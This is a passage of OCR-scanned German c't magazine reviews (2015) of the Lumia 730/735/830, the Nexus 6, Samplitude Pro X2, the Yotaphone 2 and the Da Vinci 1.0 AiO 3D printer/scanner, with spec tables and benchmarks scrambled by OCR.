bortest lagen die Werte deutlich 
unter denen des Lumia 730 und 


Lumia-Smartphones 


damit unter dem Durchschnitt 
aktueller Smartphones. 


Fazit 


Das Lumia 730 und das 735 sind 
für etwa 200 Euro interessant für 
Einsteiger, die LTE oder zwei 
SIM-Slots wollen und Wert auf 
eine ordentliche Kamera legen. 
Man merkt aber die mittelmäßi- 
ge Verarbeitung. 

Das Lumia 830 fühlt sich ein 
ganzes Stück solider an und 
macht bessere Fotos in dunkler 
Umgebung. Für die knapp 300 
Euro bekommt man aber auch 
interessante Alternativen im An- 
droid-Lager: zum Beispiel das 
OnePlus One oder das Samsung 
Galaxy S4. (acb) 


dE Fotos, Videos der Smart- 
phone-Kamera: ct.de/y3hr 


Modell Lumia 730/735 Lumia 830 

Hersteller Microsoft, Microsoft, 
microsoft.com/de-de/mobile microsoft.com/de-de/mobile 

Betriebssystem Windows Phone 8.1 / Denim Windows Phone 8.1 /Denim 

Prozessor / Kerne / Takt Qualcomm Snapdragon 400/4/ Qualcomm Snapdragon 400 / 4 / 


RAM / Flash-Speicher (frei) / 
SD-Slot 


WLAN / Dual-Band 
Bluetooth / NFC / GPS 
mobile Datenverbindung' 


Akku: Kapazität / austauschbar / 
drahtlos ladbar 


Abmessungen (HxBxT) / 
Gewicht 


Kamera-Auflösung Fotos / Video 


‚Auto- / Touchfokus / Fotoleuchte 
(Anzahl) 


Frontkamera-Auflösung Fotos / 
Video 


Display-Messungen 
Technik / Größe (Diagonale) 
Auflösung / Seitenverhältnis 


Helligkeitsregelbereich / 
Ausleuchtung 


Kontrast / Farbraum 
Straßenpreis 


! Herstellerangabe 
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1,2 GHz 


1 GByte / 8 GByte (-4,5 GByte) / 
MicroSD 


IEEE 802.11n / — 
40/v Iv 


Lumia 730: 2 Micro-SIM-Slots 
mit UMTS (21,1 MBit/s down, 
5,76 MBit/s up), Lumia 735: 

1 Nano-SIM-Slot mit LTE 

(150 MBit/s down, 50 MBit/s up) 


2200mAh/v /v 
(nur Lumia 735) 


13,9 cmx 6,8cmx 1cm/ 
ca. 130 9 (je nach Cover) 


16:9 mit 3072 x 1728, 4:3 mit 
2848 x 2144 (6,7 MPixel) / 
1920 x 1080 


vIvIv() 


2592 x 1936 / 1920 x 1080 


OLED / 10,3 cm x 5,8 cm (4,7") 
1280 x 720 Pixel (316 dpi) / 16:9 
>10 000:1 / AdobeRGB 


69... 320. cd/m? /94% 


1,2 6Hz 


1 GByte / 16 GByte (11,7 GByte) / 
MicroSD 


IEEE 802.11n / — 
a0/v Iv 


LTE (150 MBit/s down, 
50 MBit/s up) 


2200mAh/v /v 
13,9 cmx7cmx1cm/151g 


16:9 mit 3072 x 1728, 4:3 mit 
2848 x 2144 (10 MPixel) / 
1920 x 1080 


vIvIv) 


1280 x 720 / 1280 x 720 


LCD (IPS) / 11,1 mx 6,2 cm (5") 
1280 x 720 Pixel (293 dpi) / 16:9 
960:1 / sRGB 


59... 313 cd/m?/90% 


Lumia 730: 180 € / 20€ 
Lumia 735: 205 € 
v vorhanden - nicht vorhanden 
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Prüfstand | Android-Phablet 


Hannes A. Czerulla 


Nexus mit 


Wachstumsschub 


6-Zoll-Smartphone Nexus 6 
mit sauberem Android 5 


Auf dem Phablet Nexus 6 entspricht Android 5 voll und ganz 
den Vorstellungen Googles ohne unerwünschte Dreingaben. 
Mit wenigen Ausnahmen ist die Hardware das Beste vom Besten. 


GG? verabschiedet sich 
vom bisherigen Konzept der 
Nexus-Smartphones und Tablets, 
gut ausgestattete Geräte zum 
Schnäppchenpreis anzubieten: 
Das von Motorola hergestellte 
6-Zoll-Phablet Nexus 6 ist mit 
600 Euro genauso teuer wie 
vergleichbare Modelle. Was vom 
Konzept übrig bleibt, sind Top- 
Ausstattung und ein aktuelles An- 
droid ohne unnütze Zusatz-Soft- 
ware vom Hardware-Hersteller. 
Für Android 5 hat Google die 
Gestaltung des Systems komplett 
überarbeitet. Das sogenannte 
Material Design arbeitet mit kräf- 
tigen Farben und starken Kon- 
trasten, die auf dem AMOLED- 
Display des Nexus 6 besonders 
hübsch zur Geltung kommen. 
Das System entspricht der 
bereits bekannten Version von 
Google (Vanilla-Android). 


Display 


Das 6-Zoll-Display macht das 
Phablet zwar unhandlich, stellte 
sich aber sonst durchgehend als 
Vorteil heraus: beispielsweise 
beim Surfen, Tippen und Spie- 
len. So ersetzt das Nexus 6 ein 
Tablet und lässt dennoch die 
Möglichkeit zu telefonieren. Nut- 
zer von kleineren Smartphones 
müssen sich erstmal an die Maße 
und die nötige Zweihandbedie- 
nung gewöhnen. Entgegen un- 
seren Erwartungen boten alle 
„Testhosentaschen” genug Platz. 


Benchmarks 

Modell Chipsatz / Prozessorkerne / Takt Grafikchip Coremark 
(Singlethread) besser» 

Nexus 6 Qualcomm Snapdragon 805 /4/2,7GHz Adreno420 mm 8849 

Samsung Galaxy Note4 Qualcomm Snapdragon 805/4/2,7GHz Adreno420 mem 8307 

Apple iPhone 6 Plus Apple A8/2/ 1,4 GHz GX6450 9099 
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Bevor man sich hinsetzt oder 
aufs Fahrrad schwingt, muss 
man das Gerät allerdings aus der 
Tasche nehmen. 

Zurück zum Display: Wenige 
Konkurrenten erreichen die glei- 
che Bildqualität. Dank OLED- 
Technik erstrahlen Farben in le- 
bendiger Pracht und die Kontras- 
te sind um ein Vielfaches kräfti- 
ger als auf LCDs. Mit 2560 x 1440 
Bildpunkten zeigt das Display auf 
dieser kleinen Fläche so viele 
Pixel wie sonst nur das LG G3 
und Samsung Galaxy Note 4. Das 
bloße Auge mag keinen Unter- 
schied zu Full-HD-Auflösung er- 
kennen. Zwei Nachteile hat der 
Bildschirm dennoch: Zum einen 
ist die Anzeige mit 354 cd/m? 
nicht besonders hell. Bei direkter 
Sonneneinstrahlung lässt sich 
das Display nur schwer ablesen. 
Zum anderen zeigt sich ein Grün- 
stich, wenn man aus sehr flachen 
Winkeln auf das Display schaut. 
Dieser Effekt tritt aber nur auf 
weißen Flächen sichtbar auf. 


Hardware 


Auf eine Status-LED, die auf 
Nachrichten und Ereignisse auf- 
merksam macht, muss man ver- 
zichten. Zwar ist eine LED einge- 
baut, sie wird aber bislang nicht 
genutzt. 

Der eingebaute Quad-Core- 
Prozessor Snapdragon 805 hat im 
Vergleich zum Vorgänger Snap- 
dragon 801 minimal höhere Takt- 


raten. Das macht ihn zu einem 
der schnellsten Mobilprozes- 
soren. Das Android-System läuft 
ausnahmslos flüssig und Apps 
öffnen verzögerungsfrei. Neue 
Leistungsrekorde stellt der 
Grafikchip Adreno 420 auf. Als 
erste Smartphone-GPU erreicht 
sie in unserem Grafik-Benchmark 
3DMark weit über 20 000 Punkte. 
Üblicherweise reduzieren Geräte 
mit solch potenter Hardware 
nach kurzer Vollauslastung die 
Taktraten von CPU und GPU. Das 
Nexus 6 hingegen läuft selbst 
nach mehreren Minuten noch 
immer mit maximaler Taktung 
und wird dabei nicht einmal 
außergewöhnlich warm. 

Im Gehäuse findet auch ein 
großer Akku mit 3220 mAh Platz; 
entsprechend zufriedenstellend 
sind die Laufzeiten. 1 1/2 Tage 
hielt das Nexus 6 im Alltagstest 
stets durch. Modelle gleicher 
Größe wie das Samsung Galaxy 
Note 4 oder Apple iPhone 6 Plus 
laufen noch länger. Lädt man 
das Smartphone über das mitge- 
lieferte Netzteil mit 1,6 Ampere, 
ist es bereits nach 39 Minuten 
auf 50 Prozent und nach etwa 
106 Minuten voll. 

Einen MicroSD-Karten-Slot be- 
sitzt das Nexus 6 nicht. Die 
32 GByte interner Flash-Speicher 
der preiswertesten Ausführung 
dürften den meisten Nutzern aber 
genügen. Für einen moderaten 
Aufpreis von 50 Euro bekommt 
man die 64-GByte-Variante. 


Coremark GFXBench 2.7 T-Rex 
(Multithread) besser» HD [fps] besser» 
CE 36131 HEN 25 
CE 30934 HEN 26,5 
m 18256 EEE 5 2,5 
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Bei der Sprachqualität hängt 
das Nexus 6 anderen Spitzen- 
modellen hinterher. Zwar ist der 
Gesprächspartner klar zu ver- 
stehen, bei hoher Lautstärke 
scheppert der Lautsprecher je- 
doch. Vieltelefonierer sollten vor 
dem Kauf Probe hören. SIM- 
Karten akzeptiert das Phablet 
nur im Nano-Format. 


Kamera 


Mit den Spitzenkameras anderer 
Phablets hält die Knipse des 
Nexus 6 nicht mit und hat vor 
allem bei schummrigem Licht 
Probleme: Schon bei indirekter 
Wohnungsbeleuchtung rauschen 
die Fotos stark. Im Tageslicht be- 
lichtet die Automatik zu dunkel. 
Fokussiert man mit einem Finger- 
tipp auf den Bildschirm nach, 
hellt das Bild zwar auf, aber zu 
viel. Zur Wahl stehen also Unter- 
oder Überbelichtung. Die 2 LEDs 
der Fotoleuchte beleuchten aus- 
schließlich die Mitte des Motivs. 
Details kommen auf den Bildern 
außergewöhnlich gut zur Geltung, 
da nur dezent Filter zum Einsatz 
kommen. Der optische Bildstabi- 
lisator sorgt auch bei 4k-Videos 
für ein ruhiges Bild. 


Fazit 


Generell wird die Ausstattung 
dem Preis des Nexus 6 gerecht. 
Neben dem Samsung Galaxy 
Note 4 ist das Gerät eins der 


GFXBench 2.7 T-Rex HD 
offscreen [fps] besser» 


HERE 39 
EEE 41,6 
En 44,7 


3DMark Ice Storm 
Unlimited _ besser» 


En 23600 
En 19649 
17829 
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besten Android-Phablets - auch 
wenn es kleine Schwächen zeigt. 
Die Kamera und die Laufzeiten 
bleiben hinter der Konkurrenz 
zurück; darüber hinaus wäre ein 
Speicherkarten-Slot angemessen 
gewesen. 

Wer auf die besten Smart- 
phone-Fotos verzichten kann, 
wird dennoch zufrieden sein. 
Denn als Ausgleich läuft auf dem 
Nexus 6 das aktuelle Android 
ohne Schnickschnack und über- 
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Bereits das 
Nexus 5 (rechts) 
hat vor einem 
Jahr zu Diskus- 
sionen über 
große Displays 
geführt. Der 
Nachfolger 
Nexus 6 geht 
mit 6 Zollkaum 
noch als Smart- 
phone durch. 


flüssiger Bloatware und mit der 
Aussicht auf schnelle Update- 
Versorgung. Das hat sonst kein 
Phablet zu bieten. (hcz) 


Literatur 


[1] Jörg Wirtgen, Bunte Lutscher, 
Google Android 5 Lollipop: neues 
Design, 64 Bit, c't 24/14, 5.20 

[2] Hannes A. Czerulla, Großsmartig, 
High-End-Phablets von Apple, 
Samsung und Co. im Vergleichs- 
test, c't 1/15, 5.128 


Android-Phablet 
Ausstattung 

Hersteller 

Betriebssystem 

Prozessor / Kerne / Takt 
Grafik 

Arbeits- / Flash-Speicher (frei) 
Wechselspeicher 

WLAN / Dual-Band / alle 5-GHz-Bänder 
Bluetooth / NFC/ GPS 

mobile Datenverbindung 


Akku / austauschbar 

Abmessungen (HxBxT) 

Gewicht 

Kamera 

Kamera-Auflösung Fotos / Video 
‚Auto- / Touchfokus / Fotoleuchte (Anzahl) 
Frontkamera-Auflösung Fotos / Video 
Display-Messungen 

Technik / Größe (Diagonale) 
Auflösung / Seitenverhältnis 
Helligkeitsregelbereich / Ausleuchtung 
Kontrast / Farbraum 


Display: Blickwinkelabhängigkeit Die runden Dia- 
gramme geben die Winkelabhängigkeit des Kon- 
trasts wieder. Blaue Farbanteile stehen für niedrige, 
rötliche für hohe Kontraste. Kreise markieren die 
Blickwinkel in 20-Grad-Schritten. Im Idealfall wäre 
das ganze Bild pink. 


winkelabhängiger Kontrast: Kreise im 20°-Abstand 


0 200 400 600 
Laufzeitmessungen 

Video (200 cd/m?) 

Video (max. Helligkeit) 
3D-Spiel (200 cd/m?) 
WLAN-Surfen (200 cd/m?) 
Preise und Garantie 

Preis 
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Motorola 

Android 5.0.1 

Qualcomm Snapdragon 805 / 4 / 2,7 GHz 
Qualcomm Adreno 420 

3 GByte / 64 GByte (50,65 GByte) 

IEEE 802.11 a/b/g/n/ac/v /vV 

4.1/v IA-GPS 


LTE (300 MBit/s Down, 50 MBit/s Up), HSPA 
(42,2 MBit/s Down, 5,76 MBit/s Up) 


3220 mAh/ - 
15,9cmx8,3cmx1cm 
1829 


4160 x 3120 (13 MPixel) /3840 x 2160 
vIivIv® 
1920 x 1080 / 1920 x 1080 


OLED (AMOLED) / 13,2 cm x 7,4 cm (6 Zoll) 
2560 x 1440 Pixel (493 dpi) / 16:9 

22... 354 cd/m?/90% 

>10 000:1 / AdobeRGB 


10,2h 
7,9h 
2,9h 
10,6 h 


600 € (32 GByte) /650°€ (64 GByte) ce 
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Prüfstand | Digital Audio Workstation 


Kai Schwirzke 


Musikalische Flexibilisierung 


Die Digital Audio Workstation Samplitude Pro X2 


Das bislang etwas starre Samplitude Pro passt sich in der Version X2 deutlich besser 
den Vorlieben des Musikers an: Flexibleres Kanal-Routing, frei sortierbare Plug-ins und 
verbesserte Timestretch-Algorithmen peppen die Musikproduktionsumgebung auf. 


Sam Pro X2 sieht sei- 
nem Vorgänger, er ist immer- 
hin drei Jahre alt, zunächst ver- 
dächtig ähnlich. Subtile Ände- 
rungen gibt es trotzdem. So 
wurde beispielsweise das Fens- 
ter-Handling überarbeitet. Zwi- 
schen mehreren geöffneten Pro- 
jekten lässt sich nun per Tab be- 
quem hin- und herschalten. Auch 
die Verteilung der Fenster auf 
mehrere Monitore wurde elegan- 
ter gelöst. Werkzeugleisten kön- 
nen per Drag and Drop nach Be- 
lieben bestückt oder auch ent- 
rümpelt werden. 

Kritik wurde gelegentlich am 
Routing-Konzept von Samplitude 
Pro laut. X2 gestattet es daher, 
einen Mischpultkanal auf mehre- 
re Ausgänge zu leiten. Dabei er- 
leichtern verschiedene Abgriff- 
punkte (pre/post-fader, pre-gain) 
die optimale Konfiguration für 
die jeweilige Mixing- oder Moni- 
toring-Situation. Ebenfalls neu ist 
der frei wählbare (zuvor starre) 
Signalfluss im Plug-in-Rack, das 
inzwischen auch mehrere Instan- 
zen desselben Plug-ins zulässt 
und VST3-Module unterstützt. 

Zurzeit en vogue sind soge- 
nannte VCA-Fader. Das sind Fa- 


A  ————— 
1 


der, die wiederum andere Fader 
beziehungsweise ganze Fader- 
Gruppen kontrollieren. Dafür las- 
sen sie sich beliebig ineinander 
verschachteln und erweitern so 
die Flexibilität beim Mixing. In 
Samplitude Pro X2 lässt sich jede 
beliebige Spur in eine VCA-Spur 
verwandeln, transparent ge- 
zeichnete Geisterfader zeigen 
dann auf den zugeordneten 
Spuren an, welche Wirkung der 
VCA-Fader hat. 

Verbessert wurden außerdem 
die Automationsfunktionen. So 
unterstützt Samplitude Pro in- 
zwischen die Umwandlung von 
Spur- zu Objektautomationsda- 
ten. Praktisch ist die numerische 
Bearbeitung einzelner Punkte in 
einer Automationskurve per 
rechtem Mausklick. 


Zeit wie Kaugummi 


Neu in Samplitude Pro X2 ist der 
hochwertige Timestretching- 
und Pitchshifting-Algorithmus 
elastique Pro V3 von zPlane. 
Auch andere DAWs bedienen 
sich dieses Moduls, das selbst bei 
extremeren Einstellungen noch 
ansprechende Resultate liefert. 


Elastic Audio nennt sich das Me- 
lodyne-Derivat zur Tonhöhen- 
korrektur von Magix. In der Ver- 
sion X2 lassen sich Elastic-Audio- 
Einstellungen aus einer Spur mit 
anderen Spuren synchronisieren. 
In der Quellspur vorgenommene 
Änderungen werden dann auto- 
matisch auf die zugeordneten 
Tracks übertragen - praktisch 
beispielsweise beim Editieren 
von Chören. 

Das Plug-in-Repertoire wurde 
lediglich moderat erweitert. 
Samplitude Pro X2 besitzt mit 
dem Synthesizer DN-e1 sowie 
Rock Drums, Vintage Organ und 
Bass Machine vier neue Instru- 
mente, Samplitude Pro X2 Suite 
bietet zusätzlich die Module 
Analog Synth, Urban Drums, 
Electric Piano und String Ensem- 
ble. Ihr Sound ist rundum gut. 

Apropos X2 Suite: Diese ist 
doppelt so teuer wie das einfache 
Samplitude Pro X2 und enthält 
dafür die effiziente Clearing & 
Restauration Suite mit fünf Plug- 
ins (Declicker, Declipper, Denoi- 
ser, Brilliance Enhancer, Spectral 
Cleaning) sowie die ebenfalls aus- 
gezeichnete Analogue Modelling 
Suite, bestehend aus Mastering- 


aaa 


.— 
rn... 


— 


Samplitudes Mixer lässt sich endlich ähnlich flexibel bedienen wie der anderer DAWs. 


Die besten Neuerungen sind allerdings der teuren Suite vorbehalten. 
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Kompressor, Kompressor/Band- 
sättigung, Transienten-Designer 
und Röhren-Channelstrip. Auch 
das neue Loudness Metering 
nach EBU R128/ITU-R BS.1771 
gibt es nur in dieser Version. 

Darüber hinaus erhalten Käu- 
fer der Suite 70 GByte altbe- 
kanntes Klangmaterial für das 
mitgelieferte Sampler-Plug-in 
Independence - beim normalen 
Pro X2 sind es nur 12 GByte. 
Unverständlich ist, warum die 
gute Verstärker-Simulation Van- 
dal ebenfalls dem großen Sam- 
plitude vorbehalten ist. 


Fazit 


Nach über drei Jahren Entwick- 
lungszeit wirkt Samplitude Pro X2 
ein wenig halbherzig. Zwar wer- 
ten die neuen Features die DAW 
in der Tat auf, doch fühlt sich das 
Ganze eher an wie ein Service- 
Update zwischen großen Ver- 
sionssprüngen. Dennoch: Wer 
sich auf die Magix-typische klein- 
teilige Bedienung einlassen mag 
und überwiegend mit Audioda- 


Samplitude Pro X2 


Digital Audio Workstation 


Hersteller Magix, pro.magix.com 
Betriebssystem Windows ab 7, 32 & 64 Bit 
Plug-in- VST2, VST3 

Standards 

Preise Samplitude Pro X2 500 € 


Samplitude Pro X2 Suite 1000 € 
Upgrades ab 200 € 


teien arbeitet, freut sich über eine 
effiziente und professionell aus- 
gestattete DAW ohne nennens- 
werte Schwachpunkte. Freunde 
ausgefeilter MIDI-Funktionen sind 
aber bei anderen Musikprogram- 
men besser aufgehoben. 

Wer bereits gut mit Plug-ins 
ausgestattet ist, wird statt zur 
Suite eher zum einfachen X2 Pro 
greifen. Schade allerdings, dass 
man hier auf das zeitgemäße 
Loudness Metering sowie die 
Amp-Simulationen verzichten 
muss. Für 500 Euro liefert so 
mancher Konkurrent derlei be- 
reits mit. 

Angesichts der vielen kleineren 
Verbesserungen lohnt sich für Be- 
sitzer der Vorversion ein Update, 
wenn man dafür auch unge- 
wöhnlich tief in die Tasche greifen 
muss. Wer prüfen möchte, ob 
Samplitude Pro X2 (Suite) das 
Richtige für ihn ist, kann die Pro- 
gramme als 30-Tage-Testversion 
bei Magix herunterladen. (hag) 


dE Demo-Version: ct.de/yz73 
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Achim Barczok 


Two-Face 


Yotaphone 2 mit AMOLED-Display 


und E-Ink-Rückseite 


Das Yotaphone 2 ist Smartphone und E-Book-Reader 
in einem. Das Schwarzweiß-Display auf der Rückseite 
soll aber auch die Laufzeit im Alltag verlängern. 


as erste Yotaphone war ein 

Experiment, das im Prinzip 
funktionierte, aber plump aus- 
sah. Mit dem Yotaphone 2 wird 
die Idee der E-Ink-Rückseite er- 
wachsen: Das Smartphone sieht 
schlicht und schick aus und ist 
mit der geschwungenen Rücksei- 
te handlich. Aufgrund des glat- 
ten Gorilla-Glas fühlt es sich aber 
nicht besonders griffig an. 

Die größte Besonderheit ist in 
der dunkelgrauen Rückseite ein- 
gelassen: ein E-Ink-Display mit 
4,7-Zoll-Diagonale. Weil die 
Rückseite denselben dunklen 
Grauton hat wie die schwarzen 
E-Ink-Pigmente, entsteht fast der 
Eindruck, dass Texte und Bilder 
auf die Rückseite gedruckt sind - 
der Effekt ist allerdings nicht per- 
fekt, weil immer ein Rahmen 
sichtbar bleibt und das Display 
etwas vertieft liegt. 

Das Rückseiten-Display ver- 
wendet die gleiche Technik wie 
alle aktuellen E-Book-Reader. 
Das E-Ink-Panel zeigt 16 Grautö- 
ne an und ist träge, dafür bleiben 
Texte im Sonnenlicht gut lesbar 
und es verbraucht aufgrund der 
fehlenden Hintergrundbeleuch- 
tung sehr wenig Strom. 

Im Standby-Modus zeigt es je 
nach Konfiguration Fotos aus so- 
zialen Netzwerken, die Uhrzeit, 
Wetter und Infos über einge- 
hende Nachrichten an. Ein Tipp 


c't 2015, Heft 4 


aufs entsprechende Logo öffnet 
die Nachrichten-Details. Dadurch 
kann man für den kurzen Blick 
aufs Smartphone das vordere Dis- 
play ausgeschaltet lassen und 
spart Strom. Einige Apps nutzen 
das Display direkt: Zum Spielen 
gibt es Dame und Schach, zum 
Lesen einen E-Reader und RSS- 
Reader, die beide allerdings nur 
Grundfunktionen mitbringen. 


Gespiegelte Apps 


Normale Apps starten auf dem 
Hauptbildschirm, man kann sie 
über die „Mirror“-Funktion aber 
aufs Rückseitendisplay schieben 
und bei abgeschaltetem Haupt- 
display nutzen: So zeigt das Yo- 
taphone dort beispielsweise die 
Kindle-App oder den Browser an. 
Multitouch funktioniert ebenso 
zuverlässig auf der Vorderseite, 
das Display reagiert aber - der 
Technik geschuldet - mit einer 
kurzen Verzögerung. 

Mit den E-Ink-Panels aktueller 
E-Book-Reader kann das des Yo- 
taphone 2 nicht mithalten. Zwar 
löst es mit 237 dpi vergleichs- 
weise hoch auf, die Anzeige kam 
uns im Test aber leicht unscharf 
und nicht so angenehm wie auf 
dem Kindle Voyage oder Tolino 
Vision 2 vor. Auch fällt der Kon- 
trast mit 3,6:1 deutlich geringer 
aus als bei Kindle (8,8:1) oder To- 
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lino (6,3:1). Und nicht zuletzt 
bleiben beim Blättern Rückstän- 
de der vorherigen Seite sichtbar, 
was bei E-Book-Readern kaum 
noch vorkommt - in einem Rea- 
der-Test bekäme das Display in 
der c't nur die Note „schlecht“. 
Nichtsdestotrotz: Für gelegentli- 
ches Lesen reicht die Qualität 
absolut aus. 

Mit abgeschaltetem Haupt- 
Display lief das Yotaphone 2 
beim Lesen von E-Books im Flug- 
modus ungefähr 68 Stunden - 
deutlich länger als jedes andere 
Smartphone. Schaut man sich 
aber Filme oder Webseiten auf 
dem Hauptbildschirm an, liegen 
die Laufzeiten je nach Anwen- 
dung mit 3,4 und 8,6 Stunden al- 
lenfalls im Mittelfeld. Außerhalb 
des E-Book-Modus haben wir 
das E-Ink-Display in der Praxis 
nur selten genutzt: Surfen ist auf 
dem AMOLED-Display einfach 
schöner, und die meisten ande- 
ren Apps sind schlicht ungeeig- 
net für E-Ink. Der Standby- 
Modus mit schnellem Zugriff auf 
Nachrichten-Details erwies sich 
als praktisch, die Laufzeit verlän- 
gerte sich dadurch aber in unse- 
ren Tests nicht nennenswert. An 
einem arbeitsintensiven Tag 
muss das Smartphone abends 
an die Steckdose. Für lange Lauf- 
zeiten ist man deshalb mit einem 
Sony Xperia Z3 oder Samsung 
Galaxy Note 4 besser beraten. 

Bei der ungewöhnlichen Rück- 
seite könnte man fast den Rest 
der Hardware vergessen. Der 


entspricht gutem Smartphone- 
Mittelfeld: Das farbkräftige AMO- 
LED-Display zeigt einen schönen 
Kontrast, könnte aber etwas hel- 
ler sein. 

Die Fotos der Kamera sind 
für ein Mittelklasse-Smartphone 
okay, wirken aber oft blass, über- 
strahlen und neigen zu leichtem 
Rauschen, zu den Rändern hin 
werden Bilder unscharf. Der 
Snapdragon-800-Prozessor ist 
schon etwas in die Jahre gekom- 
men, lieferte im Test aber keinen 
Anlass zur Klage; das Smart- 
phone ist flott und auch Spiele 
laufen darauf flüssig. 


Fazit 


Wenn man es ganz nüchtern be- 
trachtet, ist das Yotaphone 2 für 
700 Euro ein überteuertes Mittel- 
klasse-Smartphone mit einer E- 
Ink-Rückseite, die im Alltag 
weder allzu viel Strom spart 
noch einen E-Reader wirklich er- 
setzen kann. Irgendwie will man 
es aber trotzdem haben: Es bie- 
tet ein Alleinstellungsmerkmal, 
ist ein echter Hingucker und 
kommt einem erfrischend an- 
ders vor in einer Welt, in der alle 
Android-Smartphones gleich aus- 
sehen. (acb) 


Literatur 
[1] So testen wir E-Book-Reader: 


heise.de/-2453858 


dE Video, Details zum Test: 
ct.de/yk8u 


Yotaphone 2 


Android-Smartphone mit zwei Displays 
Hersteller 

Betriebssystem 

Prozessor / Kerne / Takt 

RAM / Flash-Speicher (frei) / SD-Slot 

WLAN / Dual-Band / alle 5-GHz-Bänder 
Bluetooth / NFC/ GPS 

mobile Datenverbindung' 


Yota, yotaphone.com 

Android 4.4.3 

Qualcomm Snapdragon 800 / 4 / 2,3 GHz 
2 GByte /32 GByte (25,1 GByte) / — 

IEEE 802.11 IEEE 802.11ac/v /vV 
40/vV Iv 

LTE (150 MBit/s down, 50 MBit/s up), 


HSPA (42,2 MBit/s down, 5,76 MBit/s up) 


Akku: Kapazität / austauschbar 4300 mAh / — 

Abmessungen (HxBxT) 14,5 cmx 6,9cmx.0,9cm 

Gewicht 1439 

Kamera-Auflösung Fotos / Video 3264 x 2448 (8 MPixel) / 1920 x 1080 
‚Auto- / Touchfokus / Fotoleuchte (Anzahl) v /v /v (1) 
Frontkamera-Auflösung Fotos / Video 1920 x 1080 / 1920 x 1080 


Display-Messungen 

Vorderseite: Technik / Größe (Diagonale) / 
Auflösung 

Helligkeitsregelbereich / Ausleuchtung 
Kontrast? / Farbraum 


Rückseite: Technik / Größe (Diagonale) / 
Auflösung 


Kontrast? / Graustufen 
Listenpreis 


!Herstellerangabe 
? gemessen in abgedunkeltem Raum 
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3,6:1/16 
699 € 


3gemessen anhand der Reflexion einer 
externen Lichtquelle, s. heise.de/-2453858 


OLED / 11,1 cm X 6,2 cm (5 Zoll) / 1920 x 1080 Pixel (440 dpi) 


3....319 cd/m?/97% 
> 10.000:1 / AdobeRGB 
E-Ink / 10,3 cm x 5,8 cm (4,7 Zoll) / 960 x 540 Pixel (237 dpi) 


v vorhanden 
— nicht vorhanden 
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Prüfstand | 3D-Drucker und -Scanner 


Tim Gerber 


Da Vincis Code 


3D-Drucker und 3D-Scanner in einem 


Gerät für 800 Euro 


3D-Drucker gibt es inzwischen schon für unter 

500 Euro. Doch wo sollen die Vorlagen herkommen? 
Recht bestechend ist Idee eines 3D-Kopierers, der auf 
Knopfdruck die Kopie eines Gegenstandes herstellt. 
Der Da Vinci 1.0 AiO des taiwanischen Herstellers 
xyzPrinting soll diese Idee ins Wohnzimmer bringen. 


D: Bezeichnung AiO für „All 
in One“ scheint für den Da 
Vinci 1.0 etwas übertrieben. In 
der Welt der Papierbeschmut- 
zung versteht man darunter Ge- 
räte, die außer Drucken und 
Scannen mindestens noch kopie- 
ren und faxen können. Der Da 
Vinci vereint lediglich 3D-Dru- 
cker und 3D-Scanner in einem 
Gehäuse. Kopieren, also ohne 
weitere Eingriffe Gescanntes so- 
fort auf dem Drucker wiederge- 
ben, kann er schon mal nicht. Das 
scheitert bereits daran, dass Dru- 
cker und Scanner sich den Innen- 
raum als Vorlagefläche des Scan- 
ners respektive Bauraum des 
Druckers teilen. Bevor ein Druck 
starten kann, muss folglich das 
3D-Objekt von der Vorlage ent- 
fernt werden, sonst stünde es sei- 
nem Klon im Wege. Aber das ist 
nur der augenfälligste Grund. 
Der Vorteil der gemeinsamen 
Platznutzung liegt darin, dass 
das Gerät relativ kompakt bleibt, 
also nicht viel größer ist, als ein 
3D-Drucker mit diesem Bauraum 
(je 20 cm in allen Richtungen) es 
wäre. Relativ deshalb, weil das 
eben immer noch ein ziemlich 
klobiges Gerät ergibt. Der Da 
Vinci ähnelt so einer etwas über- 
dimensionierten Mikrowelle. 
Seine Vordertür kann man 
auch während des Druckens 
oder Scannens öffnen. Warnschil- 
der weisen auf die Gefahren hin, 
sich die Hand zu verbrennen 
oder einzuklemmen. Wie bei vie- 
len Selbstbau-Druckern auch er- 
folgt die Bedienung des Da Vinci 
über ein vierzeiliges Textdisplay. 
Von Bedienung am Gerät mag 
man eigentlich nicht recht spre- 
chen, außer der Sprachauswahl 
zwischen Englisch und Chine- 
sisch, ein paar Informationen 
über Betriebszustand und Fila- 
mentvorrat ist nicht viel los. Ein 
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Speicherkarteneinschub etwa für 
den direkten Druck ohne PC fehlt 
zum Beispiel. Bleibt die Bedie- 
nung per Rechner und Software. 


Programmatisches 


Auf der mitgelieferten DVD be- 
fanden sich die Programme 
XYZware fürs Drucken und 
XYZscan fürs 3D-Scannen in be- 
reits veralter Version. Besser lädt 
man sich die Software gleich von 
der Webseite des Herstellers, der 
dafür allerdings eine Registrie- 
rung verlangt. Mac-Nutzer finden 
dort auch eine Version der Scan- 
software für das Apple-Betriebs- 
system, die auf der DVD fehlt. Bei 
der Installation auf Windows- 
Rechnern schlug der Virenscan- 
ner (Avira Professional Security 
14.0.7) Alarm. Installieren und 
ausführen ließ sich die Software 
aber trotzdem. Das liege an der 
fehlenden Signatur, um die man 
sich bei Avira vergeblich bemüht 
habe, teilte xyzPrinting mit. 

Der Da Vinci wird mit einem 
proprietären Protokoll gesteuert; 
der sonst übliche G-Code im 
ASCII-Format kommt nicht vor. 
Versuche, mit anderen Program- 
men für den 3D-Druck wie Repe- 


Die Druckersoft- 
ware bietet kaum 
Einstellmöglich- 
keiten. Das ist ein- 
steigerfreundlich, 
erfahrene Anwen- 
der werden die 
eine oder andere 
gewohnte Konfigu- 
rationsmöglichkeit 
vermissen. 


tierHost Verbindung mit dem Da 
Vinci aufzunehmen, gelangen 
uns nicht. Zwar meldet er sich 
wie andere 3D-Drucker-Elektro- 
nik am PC als virtueller COM-Port 
an, Verbindungsversuche mit 
einschlägigen Baud-Raten schlu- 
gen jedoch fehl. Nähere Informa- 
tionen zur Datenübertragung 
gibt es vom Hersteller nicht. Un- 
term Strich bleibt man auf des- 
sen Software angewiesen. 

Die ist ausgesprochen rudi- 
mentär und erlaubt nur wenige 
Einstellungen. Das Druckerpro- 
gramm importiert neben pro- 
prietären Dateiformaten 3D- 
Model im Format STL. Das ist das 
gängige Format, um die Oberflä- 
che von 3D-Modellen als Vielzahl 
von Dreiecken vektororientiert 
zu beschreiben. Aufgabe des 
Druckerprogramms ist es dann, 
diese Daten umzurechnen in 
Druckbahnen für den schichtwei- 
sen Aufbau des Modells. Dabei 
kann man üblicherweise sehr 
viele Einstellungen beispielswei- 
se zur Art der Füllung des Mo- 
dellinneren und dergleichen vor- 


XrZware - ci 
